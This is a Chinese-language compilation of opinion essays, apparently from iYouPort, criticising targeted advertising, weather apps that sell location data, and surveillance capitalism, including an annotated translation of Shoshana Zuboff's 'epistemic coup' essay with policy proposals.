这种广告方式通过暗示我们拥有一个值得操纵的稳定的人格核心来抹平我们的自我重要性，无论它对我们来说有多么的模糊和矛盾。借用 RD Laing 和 Anthony Giddens 的说法，广告商试图抓住我们真正隐藏的欲望，提供有希望的证据证明我们实际可以拥有想要的东西—个人的、特殊的欲望，即使它们被描述为容易受到程序化的操纵，似乎也能说明我们的独特性。

而且，这种操纵本身可以被视为一种节省劳动力的效率：令所有人趋向一致性这一过程变得如此容易究竟意味着什么？我们可以通过简单地看电视或使用 **Facebook**，就会自动被重塑为背后的大资本所希望的样子吗？

广告定位假设一个人不会通过参与而被改变思想；相反，创造了一个环绕着个人自己的小环境，维持着你希望人们已经拥有的欲望和想法。有针对性的广告不会引起人们的注意、不会劝服人们做出决定；他们声称自己只是镜子—通过这面镜子看到自己被认为是什么样的，下意识地满足于并主动强化这一定位。

Facebook 和其他类似的平台一样实现了控制的可能性，当它拥有你日常生活基本所需的几乎全部功能时，没人能轻易离开它。从这个意义上讲，互动成为了一种仪式化的否定形式，我们通过这种形式来说服自己：“我们不会被我们选择再循环的信息所控制“。

交互性的控制模式可以超出其实际管辖范围；它表明人们仍将被视为可掌控，即使人们喜欢被控制的暗示。我们正在融入群众或集体，追求*属于*而不是坚持自我；广告作为支点，让人们可以在必要时重新平衡我们对个人代理和社会影响的感觉：当我们想要否定自己的行为

时，可以责怪他们操纵广告和算法，可以通过拒绝它们来证明我们自己的优越理性。

广告定位是基于这样的想法，即 用户不需要被说服，只需被跟踪。广告并不是要改变我们的想法，而是不引人注意地确认我们对自己的看法。或者换句话说，有针对性的广告有效地说服了我们，我们不会受到说服的影响，但能达到说服同样的目的—即 改变或强化行为。

由于广告是基于已经与我们关联的数据，因此就好像我们已经预先自己说服了自己；这些广告只是揭示了数据分析的结果，即 我们不需要有意识地想要或表达它，就可以“发现”我们想要的东西。

我们不再必须为自己找理由了，理由是作为既成事实呈现给我们的。这维持了我们“不受广告影响”的错觉，仿佛是我们在影响广告商——我们的行为驱动了他们必须向我们展示的内容。

大多数人都会努力投资于自己的合理性。我们似乎想要决定自己的感受，而不是受到“情绪感染”的事件或情感潮流的摆布。这可能会被视为有针对性的广告的对应物：在社交媒体文化下，作为一种规范性做法，辩论成为了一种炫耀性的获取关注的方式。

假设每个人都应该做好准备，并且愿意参与言辞复杂的讨论，讨论他们所做的和所思考的原因，并在整个文化中表现出来，特别是在社交媒体的可承受性方面，这些社交媒体假定了一种公共领域对话模型——如果不是像记分牌那样的游戏节目的话—— 很少在互动方面存在实际上渴望。它只是舞台，人们来这里是寻求满足表现欲的，而不是获取联合和知识的机会。

理性辩论的标志往往恰恰出现在我们对由于无意识的“同意”而受到社会影响的可能性最为焦虑的地方，就在这些地方，我们的弱点最为暴露。

电视中不断演绎着政治辩论的游戏，还有社交媒体中正在进行的伪辩论。但是，对于那些将在线对话框架化为一系列连贯现实的线索和论点，很少有人能证明它很像辩论。另方面，即使它们未能表现出来，也存在对辩论的迷恋，这种感觉正是平台以辩论形式呈现对话的方式。它将强化个人仍然是说服的基本单位、而不是“目标受众”的概念，并且个人仍然有能力有意识地选择他们何时以及是否被说服。

这种对辩论形式化的迷恋与那些广告实践将其自身的平淡、非理性、荒谬或无用以讽刺化方式呈现的效果类似。目的是以你自己的优势出

售给你操纵，给你一种透视或回看的感觉，重申你的控制感。广告商希望这可以缓解您的防御心理，并允许广告在您的意识背景中舒适地展示。

辩论的氛围具有类似的效果，鼓励我们假设我们个人理性的行使是相信和自己的感受的决定因素，相反，合理性的明显前景被消耗了，从而使社会影响变得更有效。“辩论”似乎有一个约定的时间，我们有权决定要考虑什么，为我们已经相信的东西提供推理性的借口，它听起来更像辩解而不是辩论，很可能是因为我们通过各种文化氛围中的从属关系吸收了这些东西。

除了任何特定广告的有效性之外，整个系统的有效性不是基于理性消费者，而是属于社会的愿景，意味着看到自己被其他人视为成功的消费者、购买“正确的”商品发送“正确的”信息，有效地成为了自己的一种生活方式产品。

同样，我们参与有组织的对话形式表明我们是成功的“辩论者”，充满了理由、意见和投入，即使是平台本身在提供赌注和打分（因为算法在决定你能看到什么—能加入什么样的辩论）。

就像有针对性的广告一样，形式化辩论的场面直接偏转了人们对受到影响的焦虑，而不是完全在说服力之外进行说服，即使是对于不太适合讨论的事也完全如此。

在最近的一篇文章中，斯科特·亚历山大（Scott Alexander）提出了一个马斯洛式的金字塔图表，试图说明在他的观点中，有多少辩论的内容是“元辩论—— 辩论某些政党是否违反了规范等等…… 或者，只是羞辱，试图将辩论的一方推到可受尊重的范围之外。“

他的分析表明，对分歧的讨论并非是在努力说服任何事。最好的情况不过是参与者能尽可能表现出善意的意图、尊重不提意见的条款。

我们可能想要将自己视为那种能够在有效推理的最高层次上为自己的信念辩护的人，而不必付出那么多努力来证实它。有针对性的广告和互联网上表演型的辩论在很多方面非常相似，它们都表明我们所导航的社会结构使我们的个性无需自己去证明，它们都给你一种似乎是在参与的幻景，同时都没有与真正的参与有关的实际效用。〇

原文

您已经被卖了，而且是个好价钱 - iYouPort

监视资本主义的世界

我们都知道位置数据有多重要，它不仅能揭示一个人的生活图景、社会关系、兴趣爱好等等信息，还可以预测人们将来最有可能在哪。位置信息是非常致命的，和浏览器历史记录一样并更具现实威胁性，我们已经介绍给 Facebook 的专利如何使用位置数据来跟踪所有人。

- 《Facebook 的邪恶比你所怀疑的更严重》
- 《Facebook 不仅知道你现在在哪，它还想知道你未来会在哪》
- 《Facebook 知道如何使用相机镜头上的灰尘跟踪你》
- 《现在必须知道 Facebook 对你做了什么》

而洛杉矶市发起了一项诉讼，起诉天气预报应用出卖用户隐私。该诉讼称 TWC “利用其应用程序的广泛流行，将其用作挖掘用户私有地理位置数据的侵入式工具，然后将这些数据卖给了IBM附属机构和其他数据第三方，谁给的钱多就卖给谁。“

他们真的应该了解一下 Facebook，谷歌和其他伪装成科技公司的数据权力经纪人。可怕的东西不只是天气预报。

这些应用程序点缀在几乎所有手机的主屏幕上。无论是来自 Apple 的，还是像 TWC 这样的第三方，你也有机会拥有一个。第三方应用程序充满了附加功能，其中最主要的是，倾向于秘密挖掘您的位置数据并将其出售给广告经纪人。

TWC 并不是第一个走这条邪路的天气应用程序。 WeatherBug 是移动消费者的另一个受欢迎的选择，也将用户的精确位置数据发送给可疑的第三方。

在2017年被曝光的 Accuweather 也一样。更糟糕的是，即使用户关闭了位置数据，它同样也会收集并出售此信息。

就在上周，谷歌 Play 商店中一款名为“天气预报—世界天气准确雷达”的流行应用程序被曝光不仅收集位置数据，还收集移动设备上的 IMEI 设备识别号、电子邮件地址以及试图在至少两个虚拟现实平台

上隐蔽地将免费用户转变为付费。

谷歌和苹果都处于故意无知之中，而且在应用程序制造商如何使用您的数据方面表现出同样的冷漠。这种情况不会很快改变。

Weather apps are secretly selling your location data to the highest bidder:Both Google and Apple place themselves somewhere between willful ignorance, and general apathy when it comes to how app-makers use your data. And that’s not going to change any time soon.

原文

我们不是在谈论那场政变 - iyouport

监视资本主义的世界

我们可以拥有民主，也可以拥有监视社会，但我们不能同时拥有这两者

【按】 Zuboff 教授这篇文章很有魅力，它建立在对民主制度的信心上 —— 致力于将民主的大权夺回来；因为我们没有选举那些监视资本家来控制我们的一切，而现在他们就在这样做，他们的权力凌驾于民主之上，已经20年。

就如我们在两年前分析过的，监视资本主义是一场《看不见的政变》，监视资本家是事实上的《独裁者》，这远超过国会大厦暴动或任何可见的武装政变；相反，正如 Zuboff 教授所指出的，是监视资本主义的认识论政变造成了包括国会大厦、撕裂社会、人权丧失在内的所有灾难现状的根源。

新的帝国凭借其监控能力的优势，并为了其监控利润，策划了一场从根本上反民主的认识论政变。

中国目前处于这场认识论政变的第3阶段。

但是，Zuboff 的论述依旧不够，正如前一篇文章中 Hamid Dabashi 教授所指出的问题 —— 我们可能无法阻止美国在国内抵制监视资本主义的同时在全球扩张监视资本主义，除非美国在国内的抵制斗争建立在反殖民主义的基础上，也就是监视的根源，而不仅仅是反认识论政变。

20年前，美国政府将民主的前门敞开，向加州刚刚起步的互联网公司敞开，点燃了温馨的火种，以示欢迎。在随后的几年里，一个监控社会在这些房间里蓬勃发展起来，这个监控社会的愿景诞生于间谍机构和私人互联网公司截然不同但完全互惠的需求中，两者都被一个全面信息意识的梦想所迷惑。20年后，这把火已经跳出了屏幕，2021年1月6日，它险些摧毁了国会大厦。

- 上述这段话没错，但过于轻飘了。关于互联网的起源，见《互联网究竟是什么》

我花了整整42年的时间，研究数字技术如何作为一种经济力量的崛起，推动我们向信息文明转型。然而在过去的二十年里，我观察到了这种令人惊讶的政治经济合力的后果，因为那些年轻的公司蜕变成了由行为监控、分析、目标定位和行为预测（少数派报告）的全球架构所驱动的监控帝国，我称之为监视资本主义。

新的帝国凭借其监控能力的优势，并为了其监控利润，策划了一场从根本上反民主的认识论政变，其特点是前所未有地集中了关于我们所有人的一切知识，以及因这些知识而产生的不负责任的权力。

在信息文明中，社会是由知识的问题所定义的 —— 知识如何分配，管理知识分配的权威、和保护权威的权力。谁能知道？谁在决定谁能知道？谁来决定谁能知道什么？监视资本家现在掌握着所有这些问题的答案，尽管我们从来没有选举他们来治理。这就是认识论政变的本质。他们声称有权决定谁知道，对我们的个人信息拥有绝对的所有权，并以控制关键信息系统和基础设施的权力来捍卫这一霸权。

特朗普企图发动政治政变的可怕深度就乘着这场影子政变的浪潮，在过去二十年里被这些我们曾经作为“解放的代理人”而欢迎的反社会媒体起诉。在就职日，拜登说，“民主已经胜利”，并承诺恢复真理的价值，使其在民主社会中占据应有的地位。但是，在我们击败监视资本主义的另一场政变之前，民主和真理仍然处于最高级别的威胁之下。

- 关于认识论政变，可参见另一篇文章《真相的价值真相的价值》

认识论政变分四个阶段进行。

第一阶段是对认识论权利的占有，这为接下来的一切奠定了基础。监视资本主义起源于这样的发现，即：公司可以将人们的生活作为免费的原材料来提取行为数据，然后宣布这些数据为其私有财产。

第二阶段的特点是认识论上的不平等急剧上升，其定义是“我能知道什么”和“我能被知道什么”之间的差异。我们现在所处的第三阶段，引入了由利益驱动的算法暴政对腐败信息进行放大、传播和微观定位而引起的认知混乱，其中大部分是由协调性的信息造假方案造成的。在现实世界中，人们可以直接感受到它们的影响，它们分裂了共同的

现实，毒害了社会话语，瘫痪了民主政治，有时还煽动了暴力和死亡。

- 关于这点，参见《真相的价值》中的解释

在第四阶段，认识论的主导地位被制度化，以私人监控资本家的计算治理凌驾于民主治理之上。机器知道，系统决定，由私人监控资本家的非法权威和反民主权力指导和维持。

以上每个阶段都建立在上一个阶段的基础之上。认识论上的混乱通过削弱民主社会为认识论上的统治做准备 —— 这在美国国会大厦的暴动中已经太明显地被呈现出来了。Saul Loeb/Agence France-Presse—Getty Images

我们生活在信息文明形成时期的数字世纪。我们的时代可与工业化的早期时代相提并论，当时所有者拥有一切权力，他们的财产权享有高于所有其他考虑的特权。我们目前状况的不可容忍的事实是，美国和大多数其他自由民主国家，到目前为止，已经把所有数字事物的所有权和运作权都让给了私人监控资本家的政治经济学，现在它与民主争夺将在本世纪定义我们社会秩序的基本权利和原则。

过去一年的流行病苦难和特朗普主义专制放大了认识论政变的影响，早在1月6日之前就揭示了反社会媒体的谋杀潜力。越来越多的人已经认识到这另一场政变及其对民主社会的威胁，是否会最终迫使我们不得不面对过去二十年来笼罩着的麻烦事实？—— 我们可能有民主，也可能有监控社会，但我们不能两者兼得。一个民主的监控社会在生存和政治上都是不可能的。请不要误会：这是为我们的信息文明的灵魂而战。

欢迎来到第三个十年。

监视的例外

「图」

911的公共悲剧极大地将华盛顿的焦点从关于联邦隐私立法的辩论转移到了对全面信息意识的狂热上，将硅谷的创新监视做法变成了强烈关注的对象。正如耶鲁大学法学院教授杰克·巴尔金（Jack Balkin）所观察到的那样，情报界“依靠私人企业为其收集和生成信息”，以超越宪法、法律或法规的限制，这些争议是今天的核心问题。

- 《从斯诺登到中国 ...》

到了2013年，中情局的首席技术官概述了该机构“收集一切并永远继续下去” 的使命，承认是包括谷歌、Facebook、YouTube、Twitter以及Fitbit和电信公司在内的互联网公司使这一使命成为可能。监视资本主义的革命根基植根于这种不成文的监视例外主义的政治学说中，绕过民主监督，实质上是给互联网巨头公司发放许可证，让它们窃取所有人的经验，并将其作为专有数据。

- 《全球大规模监视的崛起：我们是如何走到这一步田地的？》

没有任何民主授权的年轻创业者们得到了无限的信息和不负责任的权力的意外收获。谷歌的创始人拉里·佩奇和谢尔盖·布林对世界信息的生产、组织和展示进行了绝对的控制。Facebook 的马克·扎克伯格对将成为全球通信和新闻消费的主要手段、以及隐藏在其网络中的所有信息，都有绝对的控制权。这个寡头集团的成员越来越多，全球不断激增的用户在完全不知道发生了什么的情况下被捕获。

- 《谷歌的真面目—— They’re always watching》

偷窃的许可是有代价的，它约束了高管们对民选官员和监管者的持续赞助，也约束了用户的持续无知、或至少是学会了顺从。该学说毕竟是一种政治学说，对它的维护需要未来的政治操纵、安抚、参与和投资。

谷歌是世界上最富有的游说机器之一。2018年，近半数的参议员收到了Facebook、谷歌和亚马逊的捐款，而且这些公司还在继续创造支出记录。

- 《追踪谷歌的政治旋转门》

最重要的是，监视例外主义意味着美国和许多其他 “民主国家” 选择了监视而不是民主作为社会秩序的指导原则。由于这种放弃，民主政府削弱了其维持人民信任的能力，加剧了监视的理由。

认识论混乱的经济学与政治学

「图」

要理解认识论混乱的经济学，必须知道监视资本主义的运作对事实没有形式上的兴趣。所有的数据都被视为等价物而受到欢迎，尽管并非

所有的数据都是平等的。提取行动以独眼巨人的纪律进行，贪婪地消耗一切它能看到的东西，对意义、事实和真相根本无动于衷。

在一份泄露的备忘录中，Facebook 的一位高管安德鲁·博斯沃思描述了这种对真相和意义的故意无视。“我们连接人们。如果他们把它变成积极的，那可能是好事。也许有人找到了爱情 ……如果他们把它变成消极的，那可能是坏事……也许有人死于恐怖袭击…… 丑陋的事实是……任何能让我们更频繁地联系更多的人的东西都是*事实上的好东西*。”

换句话说，要求监控提取器拒绝内容，就像要求采煤作业丢弃煤炭容器一样，因为它太脏了—— 这就是为什么内容审查是最后的手段，是埃克森美孚的社会责任信息精神的 *公关操作*。在Facebook的案例中，进行数据分流要么是为了将用户退出的风险降到最低，要么是为了避免政治制裁。两者的目的都是为了增加而不是减少数据流量。提取的必要性与激进的冷漠结合在一起，产生了一些系统，这些系统不断地升级参与的规模，但并不关心你参与了什么。

我现在关注 Facebook，不是因为它是唯一的认识论混乱的肇事者，而是因为它是最大的社交媒体公司，其后果影响最深。

监视资本主义的经济学催生了抽丝剥茧的独眼巨人，把 Facebook 变成了一个广告主宰的真相杀戮场。然后，一个不道德的特朗普先生成为总统，要求规模化撒谎权。破坏性经济学与政治绥靖合并，一切都变得无限糟糕。

这个故事的关键在于，绥靖政治所需要的只是拒绝减轻、修改或消除监视经济学的丑陋真相。监视资本主义的经济需求将**Facebook**变成了社会的火药桶。扎克伯格先生只需站下身来，致力于旁观者的角色。

【注：这里指的是两极分化和永不休止的争执是流量之源，撕裂社会是监视资本家的利益所在。每一种意识形态拥有自己的一套认识论，有自己的一套“现实”，彼此间完全割裂。民主对话不复存在。】

2016年和2017年提交的内部研究表明，Facebook 的算法目标机制与认识论混乱之间存在因果关系。一位研究人员得出结论，算法要为分裂性内容的病毒式传播负责，这些内容助长了德国极端主义组织的发展。她发现，推荐工具占“极端主义团体加入”的64%—— 这种动态并非德国独有。

2018年3月，剑桥分析公司的丑闻以一种新的方式吸引了全世界对Facebook的关注，提供了一个大胆变革的窗口。公众开始领悟到，Facebook 的政治广告业务是租用该公司的一整套能力，对用户进行微目标定位，操纵用户并播撒认识上的混乱，将整个机器从商业目标转向政治目标，只需几度。Pool photo by Graeme Jennings/EPA, via Shutterstock

该公司推出了一些温和的举措，承诺更多的透明度，更强大的第三方事实检查员系统和限制所谓的“协调性不真实行为”的政策，但通过这一切，扎克伯格向特朗普要求了不受限制地进入全球信息流领域的让步。

扎克伯格拒绝了内部提出的减少认识论混乱的运营变革建议。一个政治白名单确定了超过10万名官员和候选人，他们的账户被豁免于任何事实核查，尽管内部研究表明用户倾向于相信政客分享的虚假信息。2019年9月，该公司表示，政治广告将不会受到事实核查的影响。

为了安抚他的批评者，2018年，扎克伯格委托ACLU华盛顿立法办公室前主任劳拉·墨菲（Laura Murphy）领导的民权审计。2020年发布的报告中悲伤文字堆积了一条长河 ——“心灰意冷”、“沮丧”、“愤怒”、“恐惧”、“心碎”……

这份报告与美国公众对科技寡头的信心几乎完全破裂是一致的。当被问及Facebook将如何调整以适应可能的拜登政府的政治转变时，该公司发言人尼克·克莱格（Nick Clegg）回应道：“我们将适应我们的运营环境”（意思就是“见风使舵”）。 事实也确实如此。1月7日，在明确民主党将控制参议院的第二天，Facebook 宣布将无限期地封锁特朗普的账户。

- 《2021开门见血：垄断权力的灾难和直接行动的迫在眉睫》

我们应该相信，认识论混乱的破坏性影响是珍惜言论自由权利的不可避免的代价。不，正如地球大气中灾难性的二氧化碳水平是燃烧化石燃料的后果一样，认识论混乱是监视资本主义的基石商业运作的后果，被政治义务所加剧，并由20年前的完全信息控制的梦想启动，滑入噩梦。然后，一场瘟疫来到美国，将反社会媒体的混战变成了一场野火。

认识论混乱遇到神秘的微生物

「图」

早在2020年2月，世界卫生组织就报告了Covid-19 的“讯息流行病”，神话和谣言在社交媒体上同时传播。到了3月，德克萨斯大学M.D.安德森癌症中心的研究人员得出结论，与冠状病毒相关的医疗错误信息“正在社交媒体上以惊人的速度传播”，危及公众安全。

华盛顿邮报3月底报道，Facebook 新闻源中近50%的内容与Covid-19有关，极少数“有影响力的用户”正在推动大量用户的阅读习惯和新闻源。路透社研究所4月发布的一项研究证实，高层政客、名人和其他知名公众人物制造了其样本中20%的错误信息，但却吸引了其样本中69%的社交媒体参与。

英国战略对话研究所5月发布的一项研究确定了一个由34个极端主义右翼网站组成的核心小组，这些网站传播Covid-19虚假信息，或与现在专注于Covid-19的既定健康误导中心有关。从2020年1月到4月，链接到这些网站的 Facebook 公共帖子获得了8000万次互动，而链接到W.H.O.网站的帖子只获得了620万次互动，疾病控制和预防中心获得了640万次互动。

Avaaz 在8月发布的一项研究曝光了82个传播 Covid 错误信息的网站在4月达到了 Facebook 浏览量的峰值，接近5亿次。来自10个最受欢迎的网站的内容吸引了约3亿次 Facebook 浏览量，而10个领先的医疗机构则有7000万次。Facebook 适度的所谓内容节制工作，与其自身为认识论混乱而设计的机器系统天壤之别。

10月，哥伦比亚大学国家备灾中心的一份报告估计了可避免的Covid-19死亡人数。有超过21.7万美国人死亡。可悲的是，分析结论是，这些死亡中至少有13万是可以避免的。四个关键原因中，每一个细节，包括“缺乏口罩命令”和“误导公众”，都反映了认识论混乱的狂欢。

这是一个致命的神秘微生物蓬勃发展的世界。人们转向 **Facebook** 寻找信息。相反，人们发现的是认识论混乱的致命商业战略，以谋取利益。

认识论恐怖主义

「图」

1966年，彼得·伯杰和托马斯·勒克曼写了一本具有开创性意义的短书《现实的社会建构》。其核心观点是，我们所体验到的“现实”的“日常生活”是由我们积极地、永久地建构起来的。这种持续不断的社会

秩序奇迹建立在“常识性知识”的基础上，即“我们在正常的不言而喻的日常生活中与他人分享的知识”。

想想交通问题。世界上并没有足够多的警察来确保每辆汽车都停在每个红灯前，但并不是每个十字路口都会引发一场谈判或争斗，这是因为在有序的社会里，人们都知道，红灯有权让我们停下来，绿灯有权让我们离开。这种常识意味着每个人都会根据众所周知的事采取行动，同时相信别人也会这样做。我们不仅仅是在遵守法律，我们还在共同创造秩序。我们的回报是生活在这样一个世界里，因为我们可以相信彼此的常识，所以我们大多能到达我们要去的地方，并安全地再次回家。没有它，任何社会都是不可行的。

伯杰和勒克曼写道：“所有的社会都是在混乱中的构造的”。因为规范是我们常识的总结，违反规范是恐怖主义的本质—— 可怕的是它否定了最理所当然的社会确定性。“亚历克斯·P·施密德和阿尔伯特·J·琼曼在《政治恐怖主义》中写道：“违反规范会在恐怖目标之外创造关注对象”。这是一篇被广泛引用的关于这一主题的文章。每个人都会经历震惊、迷茫和恐惧。我们体制的合法性和连续性是至关重要的，因为它们将我们的常识正式化，使我们免于混乱。

民主国家中领导人的死亡和权力的和平交接都是加剧社会脆弱性的关键时刻。指导这些关头的规范和法律理应受到最大程度的重视。特朗普及其盟友起诉了一场选举欺诈的虚假信息运动，最终转化为暴力。它直接瞄准了美国民主制度的最大制度弱点及其最基本的规范。因此，它有资格成为一种认识论恐怖主义的形式，是认识论混乱的极端表现。扎克伯格决心将他的经济机器借给这一事业，使他成为这一攻击的帮凶。Jeff Chiu/Associated Press

就像棒球一样，每天的现实是一场冒险，它的起点和终点都在我们安全的大本营。任何社会都不可能时时刻刻对所有事进行监管，更何况是一个民主社会。一个健康的社会是建立在对什么是偏离、什么是正常的共识之上的。我们从常态中冒险，但我们知道外面和家的区别，知道日常生活的现实。如果没有这一点，正如我们现在所经历的那样，事情就会崩溃。

社会随着常识的发展而自我更新。这需要值得信赖的、透明的、尊重的社会话语体系，尤其是当我们有不同意见的时候。而现在我们却被相反的情况所困扰，近20年的时间里，这个世界被政治经济机构所主导，它作为一个混乱的雇佣机器来运作，其中违反规范恰恰是收入的关键。

监视资本家用对第一修正案权利的扭曲演绎来捍卫他们的混乱机器。社交媒体不是一个公共广场，而是一个受机器运作及其经济需要所支配的私人广场，他们无力也不感兴趣区分真相与谎言或更新与毁灭。

对于许多将言论自由奉为神圣权利的人来说，大法官奥利弗·温德尔·霍姆斯1919年在艾布拉姆斯诉美国案中的反对意见是一块试金石。他写道："通过思想的自由交易，可以更好地达到所期望的最终利益"。"检验真理的最好标准是思想在市场竞争中让自己被接受的力量"。主导私人广场的腐败信息，并不能在自由公平的思想竞争中登峰造极。它在一场被操纵的游戏中获胜。任何民主都无法在这场游戏中生存。

我们对常识破坏的易感性，反映了年轻的信息文明还没有找到民主的立足点。除非我们中断监视经济学，撤销使其反社会行动合法化的偷窃许可证，否则，另一场政变将继续加强并产生新的危机。现在必须做什么？

第三个十年的三项原则

「图」

让我们从一个思想实验开始。想象一下，在20世纪，没有联邦法律来管理童工或维护工人的工资、工时和安全标准；没有工人加入工会、罢工或集体谈判的权利；没有消费者权利；没有政府机构来监督旨在使工业世纪成为民主安全的法律和政策。取而代之的是，每家公司都要自己决定承认什么权利，采用什么政策和做法，以及如何分配利润。幸运的是，这些权利、法律和制度确实存在，是世界上各民主国家的人民几十年来所发明的。尽管这些非凡的发明依然重要，但它们并不能保护我们免受认识论政变及其反民主的影响。

这种赤字反映了一个更大的格局。美国和世界上其他民主国家迄今都未能构建一个连贯的数字世纪政治愿景，以推进民主价值、原则和政府。中国人设计和部署了数字技术来推进他们的专制主义统治体系，西方国家却一直处于妥协和矛盾之中。

这种失败在民主应该存在的地方留下了空白，危险的结果是，二十年来，中国人在民主治理的约束之外，向私人的监视和行为控制系统漂移。这就是通往认识论政变最后阶段的道路。其结果是，我们的民主国家赤裸裸地迈入第三个十年，却没有新的权利宪章、法律框架和制度形式来确保符合民主社会愿望的数字未来。

我们仍处于信息文明的早期阶段。第三个十年是我们为民主的数字世纪打下基础的机会，我们要与二十世纪的先辈们的智慧和决心相比。

民主正处于只有民主才能结束的那种包围之中。如果我们要打败认识论政变，那么民主必须成为主角。

我提出三个原则，可以帮助指导这些开端：

1、民主法制

「图」

数字化必须住在民主的房子里，不是作为纵火犯，而是作为家庭的成员，受制于民主的法律和价值，并在其基础上茁壮成长。

民主这个沉睡的巨人终于苏醒了，美国和欧洲正在进行重要的立法和法律举措。在美国，从2019年到2020年中，国会共提出了5项综合法案、15项相关法案和1项重要的立法提案，每一项都对监视资本主义具有实质性意义。加州人迎来了具有里程碑意义的隐私立法。

2020年，国会反垄断、商业和行政法小组委员会发布了对科技巨头反垄断案的深远分析。10月，司法部联合11个州，对谷歌滥用在线搜索垄断发起联邦反垄断诉讼。到了12月，联邦贸易委员会对Facebook提起反竞争行为的里程碑式诉讼，48位总检察长加入了诉讼。随后，38名总检察长迅速提起诉讼，质疑谷歌的核心搜索引擎是一种反竞争手段，以阻挡竞争对手，并为自己的服务提供特权。

反垄断争论之所以重要，有两个原因：它们标志着民主又一次开始了行动，它们使被指定为市场主导者的公司得到更多的监管关注以便合法。但是，当涉及到击败认识论政变时，反垄断范式就显得不足了。原因就在于此。

对反垄断的转向，让人想起了镀金时代垄断企业的反竞争行为和经济权力的集中。（见《垄断与民主：如何结束镀金时代》）

正如反垄断倡导者 Tim Wu 在时报上所解释的那样，“Facebook的策略与19世纪80年代约翰·D·洛克菲勒在标准石油公司的策略类似。两家公司都在市场的地平线上扫描，寻找潜在的竞争对手，然后收购它们或埋葬它们”。他还说，“国会在1890年通过《谢尔曼反垄断法》禁止的正是这种商业模式”。

诚然，Facebook、谷歌和亚马逊等都是无情的资本家，也是无情的监控资本家，但如果只关注他们标准石油式的垄断力量，会带来两个问题。

首先，反垄断并没有那么成功，即使以19世纪末20世纪初的检察官的条件，以及他们的目的是结束石油行业不公平的经济权力集中，也是不成功的。1911年，最高法院的一项裁决将标准石油公司分解为34家化石燃料工业公司。而事实证明，这些公司的总价值比原来还大。**34**家公司中最大的公司拥有标准石油公司基础设施和规模的所有优势，并迅速走向兼并和收购，成为自己的化石燃料帝国，包括埃克森和美孚（后来成为埃克森美孚）、阿莫科和雪佛龙。

反垄断的第二个也是更重要的问题是，虽然解决反竞争行为可能很重要，但它不足以解决监视资本主义的危害，就像1911年的裁决解决化石燃料生产和消费的危害一样。我们不应该用**19**世纪的视角来评估**Facebook**、亚马逊或谷歌，而应该从我们这个世纪的角度来重新解释标准石油公司的案例。

- 《技术巨头不是烟草巨头，至少不仅仅是》

另一个思维实验。想象一下1911年的美国了解气候变化的科学原理。法院的拆分判决将解决标准石油公司的反竞争行为，而忽略了后果更为严重的案例—— 化石燃料的开采、提炼、销售和使用将破坏地球。如果那个时代的法学家和立法者无视这些事实，我们就会把他们的行为看作是美国历史上的一个污点。

事实上，法院的判决确实忽略了美国工人和消费者面临的更为紧迫的威胁。法律史学家劳伦斯·弗里德曼将《谢尔曼反托拉斯法》描述为“某种欺诈行为”，它除了满足“政治需要”之外，几乎没有任何作用。他解释说，国会“必须响应行动的号召 —— 采取一些行动，任何行动—— 打击托拉斯”，该法案就是他们的回答。当时和现在一样，人们想要一个巨大的杀手。

他们把法律作为唯一能纠正权力平衡的力量。但立法者们花了几十年的时间，终于通过为工人和消费者编纂新的权利来解决真正的伤害来源。《全国劳资关系法》在保障工会权利的同时，也规范了雇主的行为，但直到1935年，即《谢尔曼反托拉斯法》颁布的45年后才颁布。在我们解决认识论政变的真正危害及其原因之前，我们已经没有**45**年—— 或**20**年或**10**年—— 的时间来徘徊。

也许有合理的反垄断理由来打破大的科技帝国，但将Facebook或任何

其他公司分割成相当于埃克森、雪佛龙和美孚的监视资本主义，并不会使我们免受监视资本主义的明确的和即时的危险。我们的时代需要更多的东西。

2、新的条件召唤新的权利

「图」

新的法律权利是随着生活条件的变化而产生的。例如，Louis Brandeis 大法官对隐私权的承诺是由于摄影术的传播及其侵入和窃取被认为是私人的东西的能力所激发的。

如果没有新的认识论权利宪章，保护公民不受监控经济所迫的大规模入侵和窃取，民主的信息文明就无法进步。在现代社会的大部分时间里，民主社会的公民都认为一个人的经历是与个人不可分割的——不可剥夺的。由此可见，对个人经历的知情权被认为是基本的，像影子一样与我们每个人结合在一起。我们每个人都应该自己决定是否和如何分享我们的经验，与谁分享，以及出于什么目的。

威廉·道格拉斯大法官在1967年写道，《权利法案》的作者认为 “个人应该有自由为自己选择与他人分享秘密的时间和情况，并决定分享的程度”。这种 “选择的自由” 就是认识我们自己的基本认识论权利是一切隐私产生的原因。

比如，作为这种权利的自然承担者，我并没有给亚马逊的面部识别以知情权，并利用我的恐惧进行目标定位和行为预测，从而有利于他人的商业目的。这不是简单的 “我的感情不出卖”，而是我的感情是不可卖是因为它不可被剥夺的。我拒绝把我的恐惧交给亚马逊，但他们还是把它从我这里拿走了，只是那天投喂给机器的万亿数据中的另一个数据点。

我们的基本认识论权利没有被编入法律，因为它们从未受到系统性的威胁，就像没有法律保护一个人站起来或坐下来或打哈欠的权利一样。

但是现在，监视资本家已经宣布他们有权知道我们所有人的生活中的一切。一个新的时代就这样来临了，它建立在不成文的监视例外主义的理论之上，并受到它的保护。现在，曾经理所当然的知情权和决定谁了解我们的权利必须被编入法律，并受到民主制度的保护，如果民主还想存在的话。

3、空前的危害需要空前的解决方案

「图」

正如新的生活条件表明需要新的权利一样，认识论政变的危害也需要有针对性的解决办法。这就是法律的发展，从一个时代到另一个时代的成长和适应。

当涉及到监视资本主义所带来的新条件时，大多数关于法律和监管的讨论都集中在下游关于数据的争论上，包括数据的隐私性、可获取性、透明度和可移植性，或者是关于用（最低限度的）数据支付来收买我们默许的计划。下游是我们争论内容节制和过滤泡沫的地方，是立法者和公民向顽固的高管踩脚的地方。

下游恰恰是公司希望我们呆在那的地方，我们沉浸在财产合同的细节中，以至于忘记了真正的问题，那就是他们的财产主张本身就是不合法的。

有什么前所未有的解决方案可以解决认识论政变带来的前所未有的危害吗？

首先，我们必需到上游去，必需结束商业监控的数据采集操作。在上游，窃取许可在无情地创造奇迹，采用监视战略将人类经验的稻草——我的恐惧、他的早餐对话、你在公园里的散步——转变成专有数据供应的黄金。我们需要法律框架，打断并取缔大规模提取人类经验的行为。停止数据收集的法律将结束监视资本主义的非法供应链。如果没有每天输入的数万亿数据点，推荐、微定位和操纵的算法、以及每秒推送出的数百万种行为预测就无法存在。

其次，我们需要法律将数据收集与基本人权挂钩，将数据使用与公共服务挂钩，解决人们和社区的真正需求。数据不再是对无辜者发动信息战的手段。

